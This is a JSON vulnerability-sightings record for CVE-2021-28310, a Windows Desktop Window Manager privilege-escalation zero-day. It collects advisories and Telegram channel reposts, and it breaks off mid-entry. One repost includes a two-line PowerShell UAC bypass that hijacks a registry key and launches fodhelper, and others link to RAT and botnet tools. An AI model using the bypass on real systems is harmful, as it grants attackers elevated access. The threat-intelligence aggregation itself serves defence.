{"vulnerability": "CVE-2021-28310", "sightings": [{"uuid": "1ec195fc-91a2-42ed-818a-6c4f6e21c7ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:18.000000Z"}, {"uuid": "06faa5f4-5611-4a9a-8c35-193f6a71cc7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "22844708-1059-4b26-b28a-e7bee3fdb777", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "MISP/6b1740e7-18a3-413b-9e29-d17c5873e90f", "content": "", "creation_timestamp": "2024-11-14T06:08:28.000000Z"}, {"uuid": "f032d8a4-e1e4-41a4-b0b6-b819c6e271da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971012", "content": "", "creation_timestamp": "2024-12-24T20:23:02.022122Z"}, {"uuid": "63d5beea-463c-4588-bee5-eda9183e5796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:54.000000Z"}, {"uuid": "1b6ecec4-1ffd-4f45-8592-91d94e15be93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:00:59.000000Z"}, {"uuid": "e41cc921-eb79-4ea6-8ff6-7b67d5f8af0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=567", "content": "", "creation_timestamp": "2021-04-14T04:00:00.000000Z"}, {"uuid": "f529d53e-9457-48ae-bfab-1f652fa2b272", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_11/21", "content": "", "creation_timestamp": "2021-04-15T06:06:29.000000Z"}, {"uuid": "b5039c4c-76a1-4886-890a-3288d9034f47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/1925c31f-13c3-421e-bbdc-3727798c7018", "content": "", "creation_timestamp": "2026-02-02T12:28:52.432091Z"}, {"uuid": "e2740b96-ccd9-4adc-972b-42bd3b63e1a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://t.me/cKure/4840", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Microsoft today\u00a0issued fixes for 114 vulnerabilities as part of its monthly security update release, which this month addressed 19 critical flaws, four critical Microsoft Exchange Server bugs found by the National Security Agency (NSA), and one zero-day bug in Desktop Window Manager.\n\u00a0\nCVE-2021-28310, a Win32k elevation of privilege vulnerability, is the only CVE under active attack patched this month.\n\nYesterday's patches also addressed four critical remote code execution vulnerabilities in Microsoft Exchange Server:\u00a0CVE-2021-28480,\u00a0CVE-2021-28481,\u00a0CVE-2021-28482, and\u00a0CVE-2021-28483. All of these were discovered by the NSA and affect Exchange Server versions 2013 through 2019.\nCVE-2021-28480 and CVE-2021-28481 have a CVSS score of 9.8 and require no authorization or user interaction to exploit.", "creation_timestamp": "2021-04-14T04:19:35.000000Z"}, {"uuid": "2af83460-470b-4f1a-8948-5e26e70d051c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://t.me/ctinow/31796", "content": "Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild\n\nhttps://ift.tt/3mIXTR0", "creation_timestamp": "2021-04-13T19:42:23.000000Z"}, {"uuid": "ceabd8d9-814d-4a22-9811-e7fe918c692e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://t.me/ctinow/31797", "content": "Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild\n\nhttps://ift.tt/3mIXTR0", "creation_timestamp": "2021-04-13T19:42:24.000000Z"}, {"uuid": "ae156b94-b778-44f5-afbd-70a3fed182a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "Telegram/9EDnIy-4FOSypMMwATTdDd3rvd3kuw-0OoilnQFY3m4FKio", "content": "", "creation_timestamp": "2021-04-14T16:46:11.000000Z"}, {"uuid": "8852cc2a-1f4a-4445-93f9-c2b2d3440f96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/haccking/100048", "content": "#\u041e\u0431\u0443\u0447\u0435\u043d\u0438\u0435\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u043a\u043e\u043d \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 (CVE-2021-28310)", "creation_timestamp": "2021-07-03T10:00:13.000000Z"}, {"uuid": "d5df1821-4bda-45b7-a420-d7afdf237df3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/theninjaway1337/782", "content": "Vulnerabilidade in\u00e9dita \u00e9 encontrada no Desktop Window Manager do Windows 10\n\nA\u00a0Kaspersky\u00a0acaba de emitir um alerta a respeito de uma nova vulnerabilidade cr\u00edtica encontrada por seus pesquisadores no Desktop Window Manager, componente essencial do Windows respons\u00e1vel por renderizar as janelas que usamos no sistema operacional. O bug foi encontrado acidentalmente por especialistas da companhia em fevereiro deste ano enquanto eles estudavam outra falha conhecida; este novo problema foi ent\u00e3o encaminhado \u00e0\u00a0Microsoft\u00a0e catalogado pelo c\u00f3digo CVE-2021-28310.\n\nhttps://canaltech.com.br/seguranca/vulnerabilidade-inedita-e-encontrada-no-desktop-window-manager-do-windows-10-182687/\n\n#zeroday #windows #lpe", "creation_timestamp": "2021-04-14T22:21:53.000000Z"}, {"uuid": "1a3cc8a9-9780-448b-bb69-5283df6a5fd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/haccking/6460", "content": "#\u041e\u0431\u0443\u0447\u0435\u043d\u0438\u0435\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u043a\u043e\u043d \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 (CVE-2021-28310)", "creation_timestamp": "2021-07-03T12:00:10.000000Z"}, {"uuid": "87c92f98-9abd-42d9-897d-b65dd8fc6035", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3154", "content": "#Threat_Research\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310)\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. Bugs in a Popular Third-Party Ethernet/IP Protocol Stack (CVE-2021-27478, CVE-2021-27482, CVE-2021-27498, CVE-2021-27500)\nhttps://www.claroty.com/2021/04/15/blog-research-fuzzing-and-pring\n3. New Vulnerability Affecting Container Engines CRI-O/Podman (CVE-2021-20291)\nhttps://unit42.paloaltonetworks.com/cve-2021-20291", "creation_timestamp": "2021-04-18T14:31:16.000000Z"}, {"uuid": "86e1ee20-96f1-4c01-b5ab-15112e412b35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://t.me/CyberSecurityTechnologies/3124", "content": "#Threat_Research\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n]-> Malicious Payloads that abuses Win32k Elevation of Privilege Vulnerability:\nhttps://github.com/Rafael-Svechinskaya/IOC_for_CVE-2021-28310\n2. From 0 to RCE: Cockpit CMS (PoCs)\nhttps://swarm.ptsecurity.com/rce-cockpit-cms", "creation_timestamp": "2021-04-14T20:51:33.000000Z"}, {"uuid": "a620da29-adcf-45de-b32b-330d256d1aba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3159", "content": "#Analytics\n10 most exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\nhttps://t.me/cybersecuritytechnologies/1515\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\nhttps://t.me/cybersecuritytechnologies/3124\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\nhttps://t.me/cybersecuritytechnologies/3126\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\nhttps://t.me/cybersecuritytechnologies/3156", "creation_timestamp": "2021-04-19T11:01:18.000000Z"}, {"uuid": "4fdbbeda-e262-4f28-a58c-15774f066d9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3279", "content": "#Analytics\nTop 10 Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\nhttps://t.me/cybersecuritytechnologies/1515\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\nCVE-2021-22893 Pulse SecureVPN RCE\nhttps://t.me/cybersecuritytechnologies/3185\nCVE-2021-28310 - Win32k EoP Vulnerability\nhttps://t.me/cybersecuritytechnologies/3124\nCVE-2021-26411 - IE mshtml UAF\nhttps://t.me/cybersecuritytechnologies/2908\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\nhttps://t.me/cybersecuritytechnologies/3126\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\nhttps://t.me/cybersecuritytechnologies/3156\nCVE-2021-28480/28482 - MS Exchange Server RCE\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2024-04-30T17:11:44.000000Z"}, {"uuid": "4acd9a2b-dc46-40ee-aa58-c8c3d5a7be85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://t.me/reverseame/1092", "content": "Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/", "creation_timestamp": "2026-08-03T11:06:34.382404Z"}, {"uuid": "ea47fa71-12d3-4e56-8c33-f9bb482a7fec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://t.me/reverseame/1092", "content": "Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/", "creation_timestamp": "2026-08-04T00:00:41.382789Z"}, {"uuid": "5e6e7787-8817-460b-b6f3-231658752f7c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6a184729-f0e0-4936-8fb5-caa810846f62", "content": "", "creation_timestamp": "2026-06-19T12:47:51.175603Z"}, {"uuid": "54c92ca8-3723-4559-bb91-c09c92c982eb", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/7cddd0da-b01b-4c29-9c27-4b74caa6e091", "content": "", "creation_timestamp": "2026-06-23T14:04:36.335695Z"}, {"uuid": "68b4b472-d496-4296-8b9a-006c151a9dbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/reverseame/1092", "content": "Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/", "creation_timestamp": "2026-07-29T12:02:58.695968Z"}, {"uuid": "7445aa7d-42e5-4598-bbdc-ff2a4ffb85ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/reverseame/1092", "content": "Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/", "creation_timestamp": "2026-07-30T00:02:48.290985Z"}, {"uuid": "590a81f4-10c9-4132-b1ff-b5fd1b14143c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-01T17:00:51.324692Z"}, {"uuid": "5897379c-2e26-41d0-bb5a-6fd70618bc18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-01T17:00:53.432686Z"}, {"uuid": "6f1e9265-92f9-40a5-86f1-a54af1001b9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/2986", "content": "exploit\nCVE-2021-29349:\nCSRF to remove all messages in Mahara 20.10 (PoC)\nhttps://github.com/Vulnmachines/CVE-2021-29349\n\nOffensive security:\nAirstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316)\nhttps://shenaniganslabs.io/2021/04/13/Airstrike.html\n\nMalware analysis:\n1. HackBoss: A cryptocurrency-stealing malware distributed through Telegram\nhttps://decoded.avast.io/romanalinkeova/hackboss-a-cryptocurrency-stealing-malware-distributed-through-telegram\n2. Carbine Loader Cryptojacking Campaign\nhttps://www.lacework.com/carbine-loader-cryptojacking-campaign\n\nRed Team Tactics\n1. Buffer overflow fuzzer and exploit script\nhttps://github.com/A1-exe/bufferoverflow\n2. PCI Express DIY hacking toolkit for Xilinx SP605\nhttps://github.com/Cr4sh/s6_pcie_microblaze\n\n\nThreat Research:\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310)\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. Bugs in a Popular Third-Party Ethernet/IP Protocol Stack (CVE-2021-27478, CVE-2021-27482, CVE-2021-27498, CVE-2021-27500)\nhttps://www.claroty.com/2021/04/15/blog-research-fuzzing-and-pring\n3. New Vulnerability Affecting Container Engines CRI-O/Podman (CVE-2021-20291)\nhttps://unit42.paloaltonetworks.com/cve-2021-20291", "creation_timestamp": "2026-09-01T17:00:53.976830Z"}, {"uuid": "eefbf633-2e0c-4bec-9c79-d200a84fbf4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/2948", "content": "Threat Research\ud83d\ude42\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. From 0 to RCE: Cockpit CMS (PoCs)\nhttps://swarm.ptsecurity.com/rce-cockpit-cms\n\nBlue Team Techniques\ud83e\udd13\nAll Things Symantec Endpoint Protection:\nlogs, VBNs, ccSubSDK database, registry data\nhttps://malwaremaloney.blogspot.com/p/all-things-symantec.html\n\nRed Team Tactics:\n1. Android RAT with web panel and undetectable App\nhttps://github.com/Th30neAnd0nly/Ohm\n2. UAC bypass in 2 lines:\n...\nNew-Item -Path HKCU:\\Software\\Classes\\ms-settings\\shell\\open\\command -Value cmd.exe -Force \n\nNew-ItemProperty -Path HKCU:\\Software\\Classes\\ms-settings\\shell\\open\\command -Name DelegateExecute -PropertyType String -Force\n...\ncmd -> fodhelper\n\n3. An Evil and Smart Bot for Enslaving Windows\nhttps://github.com/wildonion/katyusha\n\nCVE-2021-26788:\nRemote DoS on CycloneTCP\n(a fully-featured open source IPv4/IPv6 stack for embedded systems) (PoC)\nhttps://blog.quarkslab.com/remote-denial-of-service-on-cyclonetcp-cve-2021-26788.html", "creation_timestamp": "2026-09-01T17:00:55.045827Z"}, {"uuid": "636ac7ee-4824-48ab-9078-45c1d406a815", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-01T20:02:46.666911Z"}, {"uuid": "0b5b9926-6731-47e2-9fcd-50b6fa30f567", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-02T01:03:22.909146Z"}, {"uuid": "0f5d6eb7-ba3d-465a-9557-ea5c021216d7", "vulnerability_lookup_origin": 